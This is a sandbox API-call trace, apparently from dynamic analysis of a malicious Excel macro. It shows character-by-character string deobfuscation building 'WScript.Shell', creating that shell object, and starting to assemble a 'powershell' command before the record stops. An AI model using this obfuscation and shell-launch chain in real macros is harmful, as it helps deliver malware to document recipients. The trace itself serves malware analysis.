	[0076.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x3ccb70, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u/\x18\x05\x88Ë<", lpUsedDefaultChar=0x0) returned 1
	[0076.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="X") returned 1
	[0076.770] VarBstrCat (in: bstrLeft="AAJIKXLR_ZDEJ", bstrRight="X", pbstrResult=0x3ccb50 | out: pbstrResult=0x3ccb50) returned 0x0
	[0076.770] VarBstrCat (in: bstrLeft="&H", bstrRight="75", pbstrResult=0x3ccb4c | out: pbstrResult=0x3ccb4c) returned 0x0
	[0076.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x5182fb4, cchWideChar=1 | out: lpWideCharStr="u") returned 1
	[0076.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x3ccb70, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u/\x18\x05\x88Ë<", lpUsedDefaultChar=0x0) returned 1
	[0076.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="X") returned 1
	[0076.771] VarBstrCat (in: bstrLeft="AAJIKXLR_ZDEJX", bstrRight="X", pbstrResult=0x3ccb50 | out: pbstrResult=0x3ccb50) returned 0x0
	[0076.771] VarBstrCat (in: bstrLeft="&H", bstrRight="75", pbstrResult=0x3ccb4c | out: pbstrResult=0x3ccb4c) returned 0x0
	[0076.771] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x5182fb4, cchWideChar=1 | out: lpWideCharStr="u") returned 1
	[0076.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x3ccb70, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u/\x18\x05\x88Ë<", lpUsedDefaultChar=0x0) returned 1
	[0076.771] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ccb64, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="X") returned 1
	[0076.771] VarBstrCat (in: bstrLeft="AAJIKXLR_ZDEJXX", bstrRight="X", pbstrResult=0x3ccb50 | out: pbstrResult=0x3ccb50) returned 0x0
	[0076.781] VarBstrCat (in: bstrLeft="ThisWorkbook.", bstrRight="AAJIKXLR_ZDEJXXX", pbstrResult=0x3cccb4 | out: pbstrResult=0x3cccb4) returned 0x0
	[0076.798] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0076.798] DispCallFunc (pvInstance=0x8285e0, oVft=0x3f4, cc=0x4, vtReturn=0xa, cActuals=0x0, prgvt=0x0, prgpvarg=0x0, pvargResult=0x3cc584) returned 0x0
	[0076.799] GetAsyncKeyState (vKey=27) returned 0
	[0076.804] GetAsyncKeyState (vKey=27) returned 0
	[0076.804] VarBstrCat (in: bstrLeft="&H", bstrRight="74", pbstrResult=0x3cb914 | out: pbstrResult=0x3cb914) returned 0x0
	[0076.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb92c, cbMultiByte=1, lpWideCharStr=0x5182fb4, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0076.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x3cb938, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="t/\x18\x05P¹<", lpUsedDefaultChar=0x0) returned 1
	[0076.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb92c, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="W") returned 1
	[0076.804] VarBstrCat (in: bstrLeft=0x0, bstrRight="W", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0076.805] VarBstrCat (in: bstrLeft="&H", bstrRight="70", pbstrResult=0x3cb914 | out: pbstrResult=0x3cb914) returned 0x0
	[0076.805] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb92c, cbMultiByte=1, lpWideCharStr=0x5182fb4, cchWideChar=1 | out: lpWideCharStr="p") returned 1
	[0076.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x3cb938, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="p/\x18\x05P¹<", lpUsedDefaultChar=0x0) returned 1
	[0076.805] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb92c, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="S") returned 1
	[0076.805] VarBstrCat (in: bstrLeft="W", bstrRight="S", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0076.805] VarBstrCat (in: bstrLeft="&H", bstrRight="80", pbstrResult=0x3cb914 | out: pbstrResult=0x3cb914) returned 0x0
	[0076.805] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb92c, cbMultiByte=1, lpWideCharStr=0x518307c, cchWideChar=1 | out: lpWideCharStr="€") returned 1
	[0076.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="€", cchWideChar=1, lpMultiByteStr=0x3cb938, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x800\x18\x05P¹<", lpUsedDefaultChar=0x0) returned 1
	[0076.805] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb92c, cbMultiByte=1, lpWideCharStr=0x5182fb4, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0076.805] VarBstrCat (in: bstrLeft="WS", bstrRight="c", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0076.805] VarBstrCat (in: bstrLeft="&H", bstrRight="8F", pbstrResult=0x3cb914 | out: pbstrResult=0x3cb914) returned 0x0
	[0076.805] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb92c, cbMultiByte=1, lpWideCharStr=0x5183054, cchWideChar=1 | out: lpWideCharStr="\x8f") returned 1
	[0076.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x8f", cchWideChar=1, lpMultiByteStr=0x3cb938, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8f0\x18\x05P¹<", lpUsedDefaultChar=0x0) returned 1
	[0076.805] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb92c, cbMultiByte=1, lpWideCharStr=0x518307c, cchWideChar=1 | out: lpWideCharStr="r") returned 1
	[0076.805] VarBstrCat (in: bstrLeft="WSc", bstrRight="r", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0076.806] VarBstrCat (in: bstrLeft="&H", bstrRight="86", pbstrResult=0x3cb914 | out: pbstrResult=0x3cb914) returned 0x0
	[0076.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb92c, cbMultiByte=1, lpWideCharStr=0x518302c, cchWideChar=1 | out: lpWideCharStr="†") returned 1
	[0076.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="†", cchWideChar=1, lpMultiByteStr=0x3cb938, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x860\x18\x05P¹<", lpUsedDefaultChar=0x0) returned 1
	[0076.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb92c, cbMultiByte=1, lpWideCharStr=0x5183054, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0076.806] VarBstrCat (in: bstrLeft="WScr", bstrRight="i", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0076.806] VarBstrCat (in: bstrLeft="&H", bstrRight="8D", pbstrResult=0x3cb914 | out: pbstrResult=0x3cb914) returned 0x0
	[0076.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb92c, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="\x8d") returned 1
	[0076.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x8d", cchWideChar=1, lpMultiByteStr=0x3cb938, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8d0\x18\x05P¹<", lpUsedDefaultChar=0x0) returned 1
	[0076.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb92c, cbMultiByte=1, lpWideCharStr=0x518302c, cchWideChar=1 | out: lpWideCharStr="p") returned 1
	[0076.806] VarBstrCat (in: bstrLeft="WScri", bstrRight="p", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0076.806] VarBstrCat (in: bstrLeft="&H", bstrRight="91", pbstrResult=0x3cb914 | out: pbstrResult=0x3cb914) returned 0x0
	[0076.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb92c, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="‘") returned 1
	[0076.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‘", cchWideChar=1, lpMultiByteStr=0x3cb938, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x91/\x18\x05P¹<", lpUsedDefaultChar=0x0) returned 1
	[0076.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb92c, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0076.806] VarBstrCat (in: bstrLeft="WScrip", bstrRight="t", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0076.806] VarBstrCat (in: bstrLeft="&H", bstrRight="4B", pbstrResult=0x3cb914 | out: pbstrResult=0x3cb914) returned 0x0
	[0076.807] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb92c, cbMultiByte=1, lpWideCharStr=0x5182fb4, cchWideChar=1 | out: lpWideCharStr="K") returned 1
	[0076.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="K", cchWideChar=1, lpMultiByteStr=0x3cb938, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="K/\x18\x05P¹<", lpUsedDefaultChar=0x0) returned 1
	[0076.807] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb92c, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr=".") returned 1
	[0076.807] VarBstrCat (in: bstrLeft="WScript", bstrRight=".", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0076.807] VarBstrCat (in: bstrLeft="&H", bstrRight="70", pbstrResult=0x3cb914 | out: pbstrResult=0x3cb914) returned 0x0
	[0076.807] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb92c, cbMultiByte=1, lpWideCharStr=0x518307c, cchWideChar=1 | out: lpWideCharStr="p") returned 1
	[0076.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x3cb938, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="p0\x18\x05P¹<", lpUsedDefaultChar=0x0) returned 1
	[0076.807] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb92c, cbMultiByte=1, lpWideCharStr=0x5182fb4, cchWideChar=1 | out: lpWideCharStr="S") returned 1
	[0076.807] VarBstrCat (in: bstrLeft="WScript.", bstrRight="S", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0076.807] VarBstrCat (in: bstrLeft="&H", bstrRight="85", pbstrResult=0x3cb914 | out: pbstrResult=0x3cb914) returned 0x0
	[0076.807] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb92c, cbMultiByte=1, lpWideCharStr=0x5183054, cchWideChar=1 | out: lpWideCharStr="…") returned 1
	[0076.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="…", cchWideChar=1, lpMultiByteStr=0x3cb938, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="…0\x18\x05P¹<", lpUsedDefaultChar=0x0) returned 1
	[0076.807] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb92c, cbMultiByte=1, lpWideCharStr=0x518307c, cchWideChar=1 | out: lpWideCharStr="h") returned 1
	[0076.807] VarBstrCat (in: bstrLeft="WScript.S", bstrRight="h", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0076.807] VarBstrCat (in: bstrLeft="&H", bstrRight="82", pbstrResult=0x3cb914 | out: pbstrResult=0x3cb914) returned 0x0
	[0076.808] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb92c, cbMultiByte=1, lpWideCharStr=0x518302c, cchWideChar=1 | out: lpWideCharStr="‚") returned 1
	[0076.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‚", cchWideChar=1, lpMultiByteStr=0x3cb938, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x820\x18\x05P¹<", lpUsedDefaultChar=0x0) returned 1
	[0076.808] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb92c, cbMultiByte=1, lpWideCharStr=0x5183054, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0076.808] VarBstrCat (in: bstrLeft="WScript.Sh", bstrRight="e", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0076.808] VarBstrCat (in: bstrLeft="&H", bstrRight="89", pbstrResult=0x3cb914 | out: pbstrResult=0x3cb914) returned 0x0
	[0076.808] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb92c, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="‰") returned 1
	[0076.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‰", cchWideChar=1, lpMultiByteStr=0x3cb938, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x890\x18\x05P¹<", lpUsedDefaultChar=0x0) returned 1
	[0076.808] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb92c, cbMultiByte=1, lpWideCharStr=0x518302c, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0076.808] VarBstrCat (in: bstrLeft="WScript.She", bstrRight="l", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0076.808] VarBstrCat (in: bstrLeft="&H", bstrRight="89", pbstrResult=0x3cb914 | out: pbstrResult=0x3cb914) returned 0x0
	[0076.808] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb92c, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="‰") returned 1
	[0076.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‰", cchWideChar=1, lpMultiByteStr=0x3cb938, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x89/\x18\x05P¹<", lpUsedDefaultChar=0x0) returned 1
	[0076.808] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb92c, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0076.808] VarBstrCat (in: bstrLeft="WScript.Shel", bstrRight="l", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0076.809] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x3cba6c | out: lpclsid=0x3cba6c*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0
	[0076.812] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0076.812] CoCreateInstance (in: rclsid=0x3cba6c*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), pUnkOuter=0x0, dwClsContext=0x5, riid=0x65061acc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3cba68 | out: ppv=0x3cba68*=0x24fe6c) returned 0x0
	[0077.273] WshShell:IUnknown:QueryInterface (in: This=0x24fe6c, riid=0x650dc830*(Data1=0x7fd52380, Data2=0x4e07, Data3=0x101b, Data4=([0]=0xae, [1]=0x2d, [2]=0x8, [3]=0x0, [4]=0x2b, [5]=0x2e, [6]=0xc7, [7]=0x13)), ppvObject=0x3cba60 | out: ppvObject=0x3cba60*=0x0) returned 0x80004002
	[0077.273] WshShell:IUnknown:QueryInterface (in: This=0x24fe6c, riid=0x650dc820*(Data1=0x37d84f60, Data2=0x42cb, Data3=0x11ce, Data4=([0]=0x81, [1]=0x35, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xb8, [7]=0x51)), ppvObject=0x3cba64 | out: ppvObject=0x3cba64*=0x0) returned 0x80004002
	[0077.273] WshShell:IUnknown:QueryInterface (in: This=0x24fe6c, riid=0x65061abc*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3cba5c | out: ppvObject=0x3cba5c*=0x24fe58) returned 0x0
	[0077.273] WshShell:IUnknown:Release (This=0x24fe6c) returned 0x1
	[0077.273] IUnknown:AddRef (This=0x24fe58) returned 0x2
	[0077.273] IUnknown:Release (This=0x24fe58) returned 0x1
	[0077.279] VarBstrCat (in: bstrLeft="&H", bstrRight="8D", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.279] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="\x8d") returned 1
	[0077.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x8d", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8d0\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.279] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183054, cchWideChar=1 | out: lpWideCharStr="p") returned 1
	[0077.279] VarBstrCat (in: bstrLeft=0x0, bstrRight="p", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.280] VarBstrCat (in: bstrLeft="&H", bstrRight="8C", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="Œ") returned 1
	[0077.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Œ", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8c0\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183054, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0077.280] VarBstrCat (in: bstrLeft="p", bstrRight="o", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.280] VarBstrCat (in: bstrLeft="&H", bstrRight="94", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="”") returned 1
	[0077.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="”", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x94/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="w") returned 1
	[0077.280] VarBstrCat (in: bstrLeft="po", bstrRight="w", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.281] VarBstrCat (in: bstrLeft="&H", bstrRight="82", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.281] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fb4, cchWideChar=1 | out: lpWideCharStr="‚") returned 1
	[0077.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‚", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x82/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.281] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0077.281] VarBstrCat (in: bstrLeft="pow", bstrRight="e", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.281] VarBstrCat (in: bstrLeft="&H", bstrRight="8F", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.281] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5146e34, cchWideChar=1 | out: lpWideCharStr="\x8f") returned 1
	[0077.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x8f", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8fn\x14\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.281] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fb4, cchWideChar=1 | out: lpWideCharStr="r") returned 1
	[0077.281] VarBstrCat (in: bstrLeft="powe", bstrRight="r", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.281] VarBstrCat (in: bstrLeft="&H", bstrRight="90", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.281] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5146e1c, cchWideChar=1 | out: lpWideCharStr="\x90") returned 1
	[0077.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x90", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x90n\x14\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5146e34, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0077.282] VarBstrCat (in: bstrLeft="power", bstrRight="s", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.282] VarBstrCat (in: bstrLeft="&H", bstrRight="85", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183054, cchWideChar=1 | out: lpWideCharStr="…") returned 1
	[0077.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="…", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="…0\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5146e1c, cchWideChar=1 | out: lpWideCharStr="h") returned 1
	[0077.282] VarBstrCat (in: bstrLeft="powers", bstrRight="h", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.282] VarBstrCat (in: bstrLeft="&H", bstrRight="82", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="‚") returned 1
	[0077.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‚", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x820\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183054, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0077.282] VarBstrCat (in: bstrLeft="powersh", bstrRight="e", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.282] VarBstrCat (in: bstrLeft="&H", bstrRight="89", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="‰") returned 1
	[0077.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‰", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x89/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0077.283] VarBstrCat (in: bstrLeft="powershe", bstrRight="l", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.283] VarBstrCat (in: bstrLeft="&H", bstrRight="89", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fb4, cchWideChar=1 | out: lpWideCharStr="‰") returned 1
